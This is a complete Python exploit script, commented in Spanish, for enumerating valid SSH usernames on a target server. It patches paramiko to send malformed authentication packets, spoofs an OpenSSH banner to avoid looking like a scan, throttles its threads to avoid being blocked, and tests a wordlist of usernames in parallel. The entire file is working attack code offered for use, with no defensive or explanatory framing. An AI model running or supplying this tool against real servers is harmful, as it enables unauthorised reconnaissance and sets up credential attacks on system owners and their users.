exploit.py

#!/usr/bin/env python3

import argparse
import logging
import paramiko
import multiprocessing
import socket
import sys
import functools
import random
import string

# --- Parche de Compatibilidad ---
class BadUsername(Exception):
    pass

def add_boolean(self, val):
    pass

old_parse_service_accept = paramiko.auth_handler.AuthHandler._parse_service_accept
old_add_boolean = paramiko.message.Message.add_boolean

def malform_packet(self, m):
    paramiko.message.Message.add_boolean = add_boolean
    result = old_parse_service_accept(self, m)
    paramiko.message.Message.add_boolean = old_add_boolean
    return result

def call_error(self, m):
    raise BadUsername()

paramiko.auth_handler.AuthHandler._parse_service_accept = malform_packet
paramiko.auth_handler.AuthHandler._parse_userauth_failure = call_error
# --------------------------------

def check_user(username, hostname, port):
    sock = socket.socket()
    try:
        sock.settimeout(5)
        sock.connect((hostname, port))
        transport = paramiko.transport.Transport(sock)
        # Banner de identificación para no parecer un escaneo genérico
        transport.local_version = "SSH-2.0-OpenSSH_7.6p1"
        transport.start_client(timeout=5)
    except:
        return (username, False)

    try:
        transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
    except BadUsername:
        return (username, False)
    except paramiko.ssh_exception.AuthenticationException:
        return (username, True)
    except:
        return (username, False)
    finally:
        transport.close()

def main():
    logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
    parser = argparse.ArgumentParser()
    parser.add_argument('target')
    parser.add_argument('--port', type=int, default=22)
    parser.add_argument('--threads', type=int, default=5) # Bajamos hilos para evitar bloqueos
    parser.add_argument('--wordlist')
    args = parser.parse_args()

    # --- FASE DE CALIBRACIÓN ---
    print(f"[*] Calibrando contra {args.target}...")
    rand_user = ''.join(random.choices(string.ascii_lowercase + string.digits, k=15))
    res_cal = check_user(rand_user, args.target, args.port)

    if res_cal[1]:
        print("\033[91m[!] ERROR: El servidor devuelve 'VÁLIDO' para usuarios aleatorios.")
        print("[!] El exploit NO es fiable en este objetivo (posiblemente parcheado o con WAF).\033[0m")
        sys.exit(1)
    else:
        print("\033[92m[+] Calibración exitosa. El servidor distingue usuarios inexistentes.\033[0m\n")

    if args.wordlist:
        try:
            with open(args.wordlist, 'r') as f:
                users = [u.strip() for u in f if u.strip()]

            worker_func = functools.partial(check_user, hostname=args.target, port=args.port)
            with multiprocessing.Pool(args.threads) as pool:
                for user, is_valid in pool.imap_unordered(worker_func, users):
                    if is_valid:
                        print(f"[\033[92m+\033[0m] VÁLIDO: {user}")
                    else:
                        print(f"[\033[91m-\033[0m] Invalido: {user}")
        except FileNotFoundError:
            print("[-] Diccionario no encontrado.")

if __name__ == "__main__":
    main()